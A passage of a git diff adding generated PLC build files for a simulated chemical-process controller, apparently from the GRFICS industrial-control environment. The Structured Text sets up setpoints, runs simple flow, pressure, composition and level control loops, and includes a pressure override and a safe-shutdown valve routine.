+#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so new file mode 100755 index 0000000..bc7c666 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st new file mode 100644 index 0000000..09e07a5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st @@ -0,0 +1,479 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit AT %QX5.0 : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 new file mode 100644 index 0000000..696d5fd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +81603cc6aa5246c5832cb83ffc8de1bd \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st new file mode 100644 index 0000000..a0d6f59 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st @@ -0,0 +1,573 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : 